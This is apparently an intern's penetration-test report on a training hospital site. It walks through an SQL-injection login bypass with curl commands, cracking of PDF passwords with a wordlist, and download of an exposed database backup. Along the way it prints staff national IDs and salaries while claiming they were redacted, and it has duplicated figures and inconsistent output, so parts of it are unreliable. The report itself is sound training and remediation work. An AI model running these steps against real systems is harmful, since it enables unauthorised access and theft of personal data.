

Penetration Testing Report

Mediroza General Hospital

Batch B083F | Week 4 Internship Assessment

Target: <https://medirozahospital.com>

Assessment Type: Black-box Web Application Penetration Test

Client	Mediroza General Hospital
Target	https://medirozahospital.com
Engagement Type	Black-box Penetration Test
Duration	5 Days
Prepared By	Thangam Cybersecurity Intern, Batch B083F
Report Date	26 September 2026
Classification	Confidential — Internal Training Use Only

This assessment was conducted in a controlled training environment for educational purposes under written authorisation from Networkwalks Pty Ltd. These techniques must never be applied to any system without explicit written permission from its owner.

1. Executive Summary

Networkwalks engaged this intern team to perform an authorised black-box penetration test against the Mediroza General Hospital web application, hosted at <https://medirozahospital.com>. The objective of the engagement was to assess the security posture of the patient portal and surrounding infrastructure, identify exploitable vulnerabilities, and determine the real-world impact an attacker could achieve without any prior credentials or insider knowledge.

The assessment identified three significant security weaknesses that, when chained together, allowed a complete compromise of patient confidentiality and exposed sensitive internal business data. Starting from an unauthenticated position, it was possible to bypass the patient portal's login mechanism using SQL injection, retrieve three confidential patient laboratory reports, recover the passwords protecting those reports, and ultimately pivot — via metadata left inside one of the decrypted files — to an exposed legacy backup directory containing a full database dump of staff salary and hospital shareholder records.

The combined findings represent a Critical overall risk to Mediroza General Hospital. A real attacker following the same path would gain unauthorised access to protected health information (PHI), staff personally identifiable information (PII), payroll data, and confidential ownership records — any one of which could result in regulatory, financial, and reputational harm to the organisation.

Key Findings at a Glance

#	Finding	Location	Risk
1	SQL Injection leading to authentication bypass	/patient/login.php	Critical
2	Weak, crackable passwords protecting confidential patient PDF reports	patient_report_1-3.pdf	High
3	Public exposure of legacy database backup (staff payroll & shareholder data)	/old/ mediroza_db_backup_2019.sql	Critical

2. Engagement Overview

2.1 Client & Target

Mediroza General Hospital commissioned Networkwalks to conduct a black-box penetration test against its externally facing patient portal at <https://medirozahospital.com>, as part of Networkwalks' Batch B083F cybersecurity internship programme (Week 4 practical assessment).

2.2 Objective

To identify, exploit, and document security vulnerabilities in the in-scope web application that could realistically be leveraged by an external, unauthenticated attacker, and to provide the client with actionable remediation guidance.

2.3 Authorisation

Written authorisation for security testing against the target domain was provided by the client to Networkwalks prior to the start of the engagement. No activity outside the documented scope and rules of engagement was performed.

3. Scope & Rules of Engagement

3.1 In-Scope

- Web application and all functionality hosted at <https://medirozahospital.com>
- Associated content and resources served from the same domain (e.g. /patient/, /old/)

3.2 Out-of-Scope / Restrictions

- No social engineering of hospital staff or patients
- No Denial-of-Service (DoS) testing
- No testing of unrelated third-party systems or infrastructure
- Findings not to be discussed outside the engagement team until the formal reveal

3.3 Assessment Type

Black-box penetration test — testers were given only the target URL and no internal documentation, credentials, or source code access, replicating the perspective of a real external attacker.

4. Methodology

Testing followed a standard black-box web application methodology, moving from passive reconnaissance through to exploitation and post-exploitation analysis:

- Reconnaissance — passive enumeration of the target's public-facing structure
- Authentication testing — probing the patient login mechanism for logic and input-handling flaws
- Injection testing — validating whether user input was safely handled by the backend database layer
- Authenticated application testing — exploring functionality reachable only after a session was established

- File and artefact analysis — inspecting downloaded documents for encryption strength and embedded metadata
- Credential/password recovery — attempting to recover document passwords using dictionary-based cracking
- Secondary exposure discovery — following leads surfaced during analysis (metadata, robots.txt) to identify further exposed resources

Tools used during the engagement included: curl, a browser-based manual testing workflow, an online PDF-hash calculator and password cracker, pdf2john / pdftotext, qpdf, exiftool, pdftotext, and an AI assistant used solely to reformat already-extracted plaintext SQL data into readable tables.

5. Attack Narrative

The three findings in this report are not isolated issues — they form a single, continuous attack chain. The diagram below shows how initial unauthenticated access ultimately led to exposure of unrelated, highly sensitive business data.

```
Unauthenticated attacker
-> SQL injection in /patient/login.php username field
-> Authentication bypass (admin' -- )
-> Authenticated session on patient portal
-> 3 confidential patient lab reports identified & downloaded
-> PDF password hashes extracted and cracked (pdfcrack)
-> All 3 reports decrypted (qpdf) and contents accessed
-> Metadata inside report 3 reveals note about a backup in /old/
-> /old/ directory listing confirmed exposed (also flagged in robots.txt)
-> mediroza_db_backup_2019.sql downloaded
-> Staff salary records (30) and shareholder records (10) exposed
```

This narrative is the key message for the client: each individual weakness compounds the next, and the overall business risk is far greater than the sum of three unrelated bugs.

6. Findings & Evidence

Finding 1	SQL Injection Leading to Authentication Bypass	Critical
Affected Resource	/patient/login.php	

Description

The patient portal login form at /patient/login.php does not sanitise or parameterise the username field before using it in a backend SQL query. This allows an attacker to manipulate the structure of the underlying query and alter the application's authentication logic without knowing any valid password.

Technical Details & Evidence

During initial testing, submitting a username that did not exist produced a distinct "Username not found" message, while submitting "admin" produced "Incorrect password" — confirming the admin account exists (a username-enumeration weakness in its own right). Submitting a single quote in the username field then returned a raw MySQL syntax error, confirming the field was being passed directly into a SQL statement.

```
username: admin'
password: test123
```

Response:

```
Warning: mysqli_query(): You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near ''
```

Building on this, the classic authentication-bypass payload below was submitted:

```
username: admin' --
password: (any value)
```

The request returned an HTTP 302 redirect to portal.php together with a valid PHP session cookie, confirming a fully authenticated session had been established without any correct credentials.

```

Session Actions Edit View Help
(kali@kali)-[~]
$ /bin/curl -i -s -c /tmp/mediroza.txt \
-X POST \
--data-urlencode "username=admin' -- " \
--data-urlencode "password=x" \
https://medirozahospital.com/patient/login.php
HTTP/2 302
x-powered-by: PHP/8.2.34
set-cookie: PHPSESSID=8qgjdjs3le8knjqt2qif9s33ao; path=/; secure
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-cache, no-store, must-revalidate, max-age=0
pragma: no-cache
location: portal.php
content-type: text/html; charset=UTF-8
content-length: 0
date: Sat, 03 Oct 2026 11:14:45 GMT
server: LiteSpeed
x-turbo-charged-by: LiteSpeed

```

Figure 1.1 — Successful SQL injection authentication bypass (redirect to portal.php with session cookie issued).

With the authenticated session, the patient portal became reachable and listed three confidential pathology/laboratory reports available for download.

[illegible]

Figure 1.2 — Authenticated patient portal showing the three confidential laboratory reports.

All three files were retrieved using the authenticated session cookie:

```
curl -s -b /tmp/mediroza.txt -o patient_report_1.pdf "https://medirozahospital.com/patient/download.php?id=1"
curl -s -b /tmp/mediroza.txt -o patient_report_2.pdf "https://medirozahospital.com/patient/download.php?id=2"
curl -s -b /tmp/mediroza.txt -o patient_report_3.pdf "https://medirozahospital.com/patient/download.php?id=3"
```

```
(kali㉿kali)-[~]
└─$ /bin/curl -s -b /tmp/mediroza.txt \
-o patient_report_1.pdf \
"https://medirozahospital.com/patient/download.php?id=1"

/bin/curl -s -b /tmp/mediroza.txt \
-o patient_report_2.pdf \
"https://medirozahospital.com/patient/download.php?id=2"

/bin/curl -s -b /tmp/mediroza.txt \
-o patient_report_3.pdf \
"https://medirozahospital.com/patient/download.php?id=3"
```

Figure 1.3 — Authenticated download of all three patient report files via curl.

```
(kali㉿kali)-[~]
$ file patient_report_1.pdf patient_report_2.pdf patient_report_3.pdf
ls -lh patient_report_*.pdf
patient_report_1.pdf: PDF document, version 1.4, 1 page(s)
patient_report_2.pdf: PDF document, version 1.4, 1 page(s)
patient_report_3.pdf: PDF document, version 1.4, 1 page(s)
-rw-rw-r-- 1 kali kali 3.6K Oct  3 07:17 patient_report_1.pdf
-rw-rw-r-- 1 kali kali 3.6K Oct  3 07:17 patient_report_2.pdf
-rw-rw-r-- 1 kali kali 3.7K Oct  3 07:17 patient_report_3.pdf
```

Figure 1.4 — The three downloaded PDF files confirmed locally as valid PDF 1.4 documents.

Security Impact

- Complete bypass of the patient portal's authentication control
- Unauthorised access to the authenticated area of the application

- Direct exposure of confidential patient laboratory reports to an unauthenticated external attacker
- Acts as the root cause enabling every subsequent finding in this report

Risk Rating: Critical

Rated Critical because the vulnerability requires no authentication, no user interaction, and no special access, and directly exposes protected health information. The exploitation steps are trivial and the payload is publicly documented.

Recommendation

- Rewrite all database queries using parameterised statements / prepared statements — never concatenate raw user input into SQL.
- Apply strict server-side input validation on all authentication fields.
- Return identical, generic error messages for invalid username and invalid password to prevent username enumeration.
- Run the application database account under least-privilege permissions.
- Disable verbose SQL error output in production; log errors server-side only.

Verification / Retest

After remediation, retest by submitting standard SQL metacharacters (' , -- , OR 1=1) into all authentication fields and confirming the request is rejected with a generic error and no database error is disclosed.

Finding 2	Weak, Crackable Passwords Protecting Confidential Patient PDF Reports	High
Affected Resource	patient_report_1.pdf, patient_report_2.pdf, patient_report_3.pdf	

Description

The three patient laboratory reports obtained in Finding 1 were protected with PDF password encryption. While encryption was present, the passwords chosen were weak enough to be recovered through dictionary-based password cracking within minutes, rendering the protection ineffective.

Technical Details & Evidence

Attempting to open the files directly confirmed password protection was enforced ("Incorrect password"). Password hashes were extracted from each PDF using pdf2john, then attacked with pdftcrack using a standard wordlist.

```
(kali@kali)~$ cat report1.hash
/usr/share/john/pdft2john.pl patient_report_1.pdf > report1.hash
(kali@kali)~$ cat report2.hash
/usr/share/john/pdft2john.pl patient_report_2.pdf > report2.hash
(kali@kali)~$ cat report3.hash
/usr/share/john/pdft2john.pl patient_report_3.pdf > report3.hash
```

Figure 2.1 — PDF password hashes extracted from the three reports using pdf2john.

```
(kali@kali)~$ sudo apt install pdftcrack
Installing:
pdftcrack

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 2332
  Download size: 33.4 kB
  Space needed: 91.1 kB / 59.2 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 pdftcrack amd64 0.21-1 [33.4 kB]
Fetched 33.4 kB in 1s (31.3 kB/s)
Selecting previously unselected package pdftcrack.
(Reading database ... 417677 files and directories currently installed.)
Preparing to unpack .../pdftcrack_0.21-1_amd64.deb ...
Unpacking pdftcrack (0.21-1) ...
Setting up pdftcrack (0.21-1) ...
Processing triggers for man-db (2.13.1-1) ...
Processing triggers for kali-menu (2025.3.2) ...

(kali@kali)~$ pdftcrack -w /usr/share/wordlists/rockyou.txt patient_report_1.pdf
PDF version 1.4
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: 3361663365326235643333353531613238303137316238333238373763353339
U: ef16c52ab8efce2c18c79e9d28895b5928bf4e5e4e758a4164004e56fffa0108
O: c431fab9cc5ef7b59c244b61b745f71ac5ba427b1b9102da468e77127f1e69d6
found user-password: '123456'

(kali@kali)~$ found user-password: 'PASSWORD'
Command 'found' not found, did you mean:
  command 'pound' from deb pound
Try: sudo apt install <deb name>
```

Figure 2.2 — Password for patient_report_1.pdf recovered via dictionary attack.

```
(kali㉿kali)-[~]
└─$ pdftcrack -w /usr/share/wordlists/rockyou.txt patient_report_2.pdf
PDF version 1.4
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: 3166346338373236356437626464363834663737303265633666363264616463
U: 39f4e6b0aedef12344c340ffb39f8905528bf4e5e4e758a4164004e56ffa0108
O: 408b37bcf12da873d7f2840f3c1b917a023961ded4c8164d38e46e9655e66775
found user-password: 'password'

(kali㉿kali)-[~]
└─$ pdftcrack -w /usr/share/wordlists/rockyou.txt patient_report_3.pdf
PDF version 1.4
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: 3261393066326130336634386337323631306164373264323130316137616538
U: 5090fa0a5dba99cb97c9d140cd23119428bf4e5e4e758a4164004e56ffa0108
O: 58e03d692cf37b50b0b5eaa189fcbd372260a949c8992ad7b44fd13e2b40c1f8
found user-password: '!@#$$%^&'
```

Figure 2.3 — Passwords for patient_report_2.pdf and patient_report_3.pdf recovered.

All three passwords were recovered using a dictionary attack:

```
patient_report_1.pdf -> 123456
patient_report_2.pdf -> password
patient_report_3.pdf -> !@#$$%^&
```

Note: the third password did not fall to the smallest common wordlist and required a larger dictionary — illustrating that attackers routinely escalate to bigger wordlists when an initial attempt fails, rather than giving up.

Each file was then decrypted to a clean, readable copy using qpdf, and the plaintext content extracted with pdftotext, confirming full access to the confidential report contents:

```
qpdf --password=123456 --decrypt patient_report_1.pdf report1_decrypted.pdf
qpdf --password=password --decrypt patient_report_2.pdf report2_decrypted.pdf
qpdf --password='!@#$$%^&' --decrypt patient_report_3.pdf report3_decrypted.pdf
```

```

(kali㉿kali)-[~]
$ qpdf --password=123456 --decrypt patient_report_1.pdf report1_decrypted.pdf
qpdf --password=password --decrypt patient_report_2.pdf report2_decrypted.pdf
qpdf --password='!@#$$%^&' --decrypt patient_report_3.pdf report3_decrypted.pdf

(kali㉿kali)-[~]
$ file report*_decrypted.pdf
report1_decrypted.pdf: PDF document, version 1.4, 1 page(s)
report2_decrypted.pdf: PDF document, version 1.4, 1 page(s)
report3_decrypted.pdf: PDF document, version 1.4, 1 page(s)

(kali㉿kali)-[~]
$ pdftotext report1_decrypted.pdf report1.txt
pdftotext report2_decrypted.pdf report2.txt
pdftotext report3_decrypted.pdf report3.txt

(kali㉿kali)-[~]
$ cat report1.txt
cat report2.txt
cat report3.txt
14 Cedar Avenue, Johannesburg, South Africa
Tel: +27 11 555 0100
medirozahospital.com

Mediroza
General Hospital

PATHOLOGY LABORATORY REPORT

```

Figure 2.4 — All three reports successfully decrypted to readable PDF files.

```

(kali㉿kali)-[~]
$ qpdf --password=123456 --decrypt patient_report_1.pdf report1_decrypted.pdf
qpdf --password=password --decrypt patient_report_2.pdf report2_decrypted.pdf
qpdf --password='!@#$$%^&' --decrypt patient_report_3.pdf report3_decrypted.pdf

(kali㉿kali)-[~]
$ file report*_decrypted.pdf
report1_decrypted.pdf: PDF document, version 1.4, 1 page(s)
report2_decrypted.pdf: PDF document, version 1.4, 1 page(s)
report3_decrypted.pdf: PDF document, version 1.4, 1 page(s)

(kali㉿kali)-[~]
$ pdftotext report1_decrypted.pdf report1.txt
pdftotext report2_decrypted.pdf report2.txt
pdftotext report3_decrypted.pdf report3.txt

(kali㉿kali)-[~]
$ cat report1.txt
cat report2.txt
cat report3.txt
14 Cedar Avenue, Johannesburg, South Africa
Tel: +27 11 555 0100
medirozahospital.com

Mediroza
General Hospital

PATHOLOGY LABORATORY REPORT

```

Figure 2.5 — Decrypted report content confirmed accessible (contents redacted/summarised in this report).

Security Impact

- Confidential patient medical/laboratory data was fully recoverable despite encryption being present
- Demonstrates that the organisation's document protection provides only superficial security
- Combined with Finding 1, this gives an external attacker complete, readable access to protected health information

Risk Rating: High

Rated High rather than Critical in isolation because exploitation first requires the access gained in Finding 1; however, the ease of cracking (common/predictable passwords, seconds to minutes with standard tooling) means the protection offers negligible real-world resistance.

Recommendation

- Do not rely on per-document passwords as the sole access control for sensitive files.
- Where document passwords are still required, generate strong, random, sufficiently long passwords — never values from common password lists.
- Store and serve sensitive documents through an authenticated, access-controlled document management layer rather than static downloadable PDFs.
- Strip unnecessary metadata from patient-facing PDFs before distribution (see Finding 3).

Verification / Retest

Confirm new documents use passwords that resist a standard dictionary/wordlist attack within a reasonable time budget, or confirm password-based protection has been replaced with proper access-controlled delivery.

Finding 3	Public Exposure of Legacy Database Backup (Staff Payroll & Shareholder Data)	Critical
Affected Resource	/old/mediroza_db_backup_2019.sql	

Description

A forgotten database backup file was found publicly accessible on the web server, exposed via directory listing in a legacy /old/ directory. The file contained a full SQL dump including staff personal and payroll data, and hospital shareholder records — information entirely unrelated to the patient portal and never intended to be reachable from the public internet.

Technical Details & Evidence

Two independent leads pointed to this exposure. First, the site's robots.txt (checked during initial reconnaissance) explicitly disallowed an /old/ path — a strong signal of content the owner did not want indexed, but which remained directly accessible. Second, metadata embedded in the decrypted patient_report_3.pdf (Finding 2) contained an internal comment left by a staff member referencing the same backup:

```
Author : j.malik
Comments : DB backup moved to /old before site migration, do not delete
```

Visiting /old/ confirmed directory listing was enabled, exposing the backup file directly, which was then downloaded:

```
wget https://medirozahospital.com/old/mediroza_db_backup_2019.sql
```

```
(kali@kali)~$ sed -n '32,78p' mediroza_db_backup_2019.sql
INSERT INTO `staff` (`id`,`full_name`,`job_title`,`department`,`email`,`phone`,`national_id`,`monthly_salary_zar`,`date_joined`) VALUES
(1,'Dr. Rajesh Naidoo','Chief Pathologist','Diagnostics Lab','r.aidoo@medirozahospital.com','+27 82 101 2007','85021013011061',138000,'2009-03-16'),
(2,'Sarah Botha','Chief Financial Officer','Finance','s.botha@medirozahospital.com','+27 82 102 2014','85031023022082',152000,'2011-07-01'),
(3,'Dr. Johan van der Merwe','Medical Director','Management','j.merwe@medirozahospital.com','+27 82 103 2021','85041033033083',160000,'2007-01-22'),
(4,'Dr. Anita Naicker','Consultant Cardiologist','Cardiology','a.naicker@medirozahospital.com','+27 82 104 2028','85051043044084',132000,'2012-09-10'),
(5,'Dr. Ahmed Kara','Consultant Physician','Internal Medicine','a.kara@medirozahospital.com','+27 82 105 2035','85061053055085',128000,'2013-02-18'),
(6,'Dr. Yusuf Cassim','Senior Registrar','Emergency & Trauma','y.cassim@medirozahospital.com','+27 82 106 2042','85071063066086',74000,'2018-05-04'),
(7,'Michael Roberts','HR Director','Human Resources','m.roberts@medirozahospital.com','+27 82 107 2049','85081073077087',96000,'2010-11-15'),
(8,'Susan Pretorius','HR Officer','Human Resources','s.pretorius@medirozahospital.com','+27 82 108 2056','85091083088088',32000,'2016-08-23'),
(9,'Jameel Malik','IT Systems Administrator','IT','j.malik@medirozahospital.com','+27 82 109 2063','85101093099089',58000,'2015-04-12'),
(10,'Thabo Molefe','Network Engineer','IT','t.molefe@medirozahospital.com','+27 82 110 2070','85111103110081',46000,'2017-10-02'),
(11,'Nomvula Khumalo','Registered Nurse','Emergency & Trauma','n.khumalo@medirozahospital.com','+27 82 111 2077','85121113121082',34000,'2016-01-19'),
(12,'Lerato Mokoena','Registered Nurse','Pediatrics','l.mokoena@medirozahospital.com','+27 82 112 2084','8501112312083',33000,'2017-06-07'),
(13,'Bongani Ndlovu','Registered Nurse','Cardiology','b.ndlovu@medirozahospital.com','+27 82 113 2091','85021133132084',35000,'2015-12-01'),
(14,'Zanele Mahlangu','Nursing Sister','Theatre','z.mahlangu@medirozahospital.com','+27 82 114 2098','85031143154085',42000,'2013-03-25'),
(15,'Kagiso Sithole','Pharmacist','Pharmacy','k.sithole@medirozahospital.com','+27 82 115 2105','85041153165086',61000,'2014-09-08'),
(16,'Naledi Zulu','Pharmacy Assistant','Pharmacy','n.zulu@medirozahospital.com','+27 82 116 2112','85051163176087',26000,'2019-02-14'),
(17,'Themba Nkosi','Radiographer','Radiology','t.nkosi@medirozahospital.com','+27 82 117 2119','85061173187088',44000,'2016-07-30'),
(18,'Palesa Radebe','Radiographer','Radiology','p.radebe@medirozahospital.com','+27 82 118 2126','85071183198089',43000,'2017-04-11'),
(19,'Deepak Pillay','Lab Technologist','Diagnostics Lab','d.pillay@medirozahospital.com','+27 82 119 2133','85081193209081',41000,'2015-05-20'),
(20,'Kavitha Govender','Lab Technician','Diagnostics Lab','k.govender@medirozahospital.com','+27 82 120 2140','85091203220082',35000,'2018-08-06'),
(21,'Dr. Suresh Moodley','Consultant Radiologist','Radiology','s.moodley@medirozahospital.com','+27 82 121 2147','85101213231083',130000,'2012-02-28'),
(22,'Dr. Fatima Patel','Pediatrician','Pediatrics','f.patel@medirozahospital.com','+27 82 122 2154','85111223242084',118000,'2013-10-17'),
(23,'Nisha Singh','Physiotherapist','Rehabilitation','n.singh@medirozahospital.com','+27 82 123 2161','85121233253085',48000,'2016-11-09'),
(24,'Dr. Vikram Chetty','Anaesthetist','Theatre','v.chetty@medirozahospital.com','+27 82 124 2168','85011243264086',135000,'2011-06-13'),
(25,'David Smith','Facilities Manager','Operations','d.smith@medirozahospital.com','+27 82 125 2175','85021253275087',52000,'2014-01-27'),
(26,'Karen O'Connor','Billing Administrator','Finance','k.oconnor@medirozahospital.com','+27 82 126 2182','85031263286088',29000,'2018-03-19'),
(27,'James Wilson','Security Supervisor','Operations','j.wilson@medirozahospital.com','+27 82 127 2189','85041273297089',27000,'2019-09-02'),
(28,'Linda Fourie','Receptionist','Front Office','l.fourie@medirozahospital.com','+27 82 128 2196','85051283308081',19000,'2020-02-10'),
(29,'Peter van Wyk','Procurement Officer','Supply Chain','p.wyk@medirozahospital.com','+27 82 129 2203','85061293319082',38000,'2015-08-24'),
(30,'Andile Mbeki','Ward Clerk','Administration','a.mbeki@medirozahospital.com','+27 82 130 2210','85071303330083',21000,'2019-11-05');
UNLOCK TABLES;

--
-- Table structure for table `shareholders`
--
DROP TABLE IF EXISTS `shareholders`;
CREATE TABLE `shareholders` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `shareholder_name` varchar(120) NOT NULL,
  `share_percent` decimal(5,2) NOT NULL,
  `shares_held` int(11) NOT NULL,
  `share_class` varchar(20) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

LOCK TABLES `shareholders` WRITE;
```

Figure 3.1 — Exposed /old/ directory listing and the staff table contents from the downloaded SQL backup (30 staff records, redacted).

The dump contained a staff table (30 records) with fields including full name, job title, department, email, phone number, national ID, monthly salary, and date joined, and a separate shareholders table (10 records) with shareholder name, share percentage, shares held, and share class.

```
(kali@kali)-[~]
$ sed -n '79,90p' mediroza_db_backup_2019.sql
INSERT INTO `shareholders` (`id`,`shareholder_name`,`share_percent`,`shares_held`,`share_class`) VALUES
(1,'Dr. Rajesh Naidoo',18.0,180000,'Ordinary'),
(2,'Cedar Health Holdings (Pty) Ltd',15.0,150000,'Ordinary'),
(3,'Dr. Johan van der Merwe',12.0,120000,'Ordinary'),
(4,'Reddy Family Trust',11.0,110000,'Ordinary'),
(5,'Thabo Molefe',10.0,100000,'Ordinary'),
(6,'Sarah Botha',9.0,90000,'Ordinary'),
(7,'Dr. Ahmed Kara',8.0,80000,'Preferential'),
(8,'Naledi Zulu',7.0,70000,'Ordinary'),
(9,'Michael Roberts',6.0,60000,'Ordinary'),
(10,'Dr. Vikram Chetty',4.0,40000,'Preferential');
UNLOCK TABLES;
```

Figure 3.2 — Exposed shareholder records from the backup file (10 records, redacted).

Notably, the Author field recovered from the PDF metadata (j.malik) matched an entry in the exposed staff table identified as the hospital's IT Systems Administrator — closing the loop on how the clue inside the patient report connected directly to this exposure.

Security Impact

- Full disclosure of staff personally identifiable information (PII): names, phone numbers, national ID numbers, emails
- Disclosure of confidential payroll/salary data for all 30 staff members
- Disclosure of confidential shareholder ownership and equity information for the hospital
- Demonstrates poor server hygiene (forgotten backups, directory listing enabled) independent of the application-layer vulnerabilities above

Risk Rating: Critical

Rated Critical due to the volume and sensitivity of the exposed data (PII, payroll, and ownership records), the ease of discovery (a single directory request, no exploitation required), and the significant regulatory and reputational exposure this represents for the organisation.

Recommendation

- Immediately remove the exposed backup file and audit the web root for any other legacy or backup files.
- Disable directory listing on all web server directories.
- Never store database backups (or any backups) within a publicly accessible web path.
- Encrypt backups at rest and store them in a access-controlled, non-public location with a defined retention and secure-deletion policy.
- Strip sensitive metadata/comments from documents before they are made available to patients.
- Treat this as a potential data-breach event: assess regulatory notification obligations and rotate any credentials or identifiers that may have been exposed.

Verification / Retest

Confirm the /old/ path and the backup file are no longer reachable, directory listing is disabled site-wide, and a server-side scan confirms no other backup or temporary files remain in web-accessible paths.

7. Risk Rating Summary

Each finding was rated Critical, High, Medium, or Low based on the ease of exploitation, the privilege level required, and the sensitivity and volume of data or access exposed, consistent with the methodology specified in the Week 4 assessment brief.

#	Finding	Location	Risk
1	SQL Injection leading to authentication bypass	/patient/login.php	Critical
2	Weak, crackable passwords protecting confidential patient PDF reports	patient_report_1-3.pdf	High
3	Public exposure of legacy database backup (staff payroll & shareholder data)	/old/ mediroza_db_backup_2019.sql	Critical

All three findings are interconnected: Finding 1 is the entry point, Finding 2 extends the impact to confidential medical content, and Finding 3 — discovered as a direct consequence of analysing evidence from Finding 2 — exposes business-critical data entirely unrelated to the original patient-portal scope. The overall engagement risk to Mediroza General Hospital is assessed as Critical.

8. Consolidated Recommendations

8.1 Immediate (0–7 days)

- Take the /old/ directory and exposed backup file offline.
- Patch the SQL injection in /patient/login.php using parameterised queries.
- Disable directory listing across the web server.

8.2 Short-term (30 days)

- Reissue all patient documents with strong, randomly generated passwords, or migrate to access-controlled delivery.
- Strip metadata from all patient-facing documents before publication.
- Review and rotate credentials for any staff accounts referenced in the exposed backup.

8.3 Long-term (Ongoing)

- Introduce secure coding standards and mandatory code review for authentication and data-access logic.
- Implement periodic external penetration testing and automated vulnerability scanning.
- Establish a formal backup-handling policy that prohibits storing backups in web-accessible locations.
- Provide secure-development and data-handling training to the engineering and IT teams.

9. Conclusion

This engagement demonstrated that an unauthenticated external attacker could progress, through a single realistic attack chain, from a basic login-form weakness to full compromise of confidential patient records and unrelated

internal business data. None of the three findings required advanced tooling or privileged access — each relied on common, well-documented weaknesses that are straightforward to remediate.

Networkwalks recommends Mediroza General Hospital prioritise the immediate actions in Section 8.1 before any further production use of the affected systems, followed by the short- and long-term measures to prevent recurrence of similar issues.

Appendix A — Evidence Index

Ref	File	Milestone
Fig 1.1	M1_01_SQLi_Authentication_Bypass.png	M1
Fig 1.2	M1_02_Patient_Portal_Three_Reports.png	M1
Fig 1.3	M1_03_Report_Download_Commands.png	M1
Fig 1.4	M1_04_Downloaded_PDF_Files.png	M1
Fig 2.1	M2_01_PDF_Hash_Extraction.png	M2
Fig 2.2	M2_02_Report1_Password_Cracked.png	M2
Fig 2.3	M2_03_Report2_Report3_Passwords_Cracked.png	M2
Fig 2.4	M2_04_PDFs_Decrypted_Successfully.png	M2
Fig 2.5	M2_05_Decrypted_Report_Content.png	M2
Fig 3.1	M3_01_Exposed_Staff_Database_Backup.png	M3
Fig 3.2	M3_02_Shareholder_Data_Exposure.png	M3

Note: A screenshot showing an unsuccessful John the Ripper attempt ("No password hashes loaded / 0 password hashes cracked") was produced during early testing and is intentionally excluded from this evidence set, as it is not representative of the successful cracking method (pdfcrack) used to recover the final passwords.

Appendix B — Disclosure Statement

This report was produced for internal training purposes as part of the Networkwalks Batch B083F cybersecurity internship. All testing was performed against a designated training target under written authorisation. Sensitive values recovered during testing (patient content, national ID numbers, phone numbers, salary figures) have been redacted or summarised in this report rather than reproduced in full, in line with responsible disclosure practice.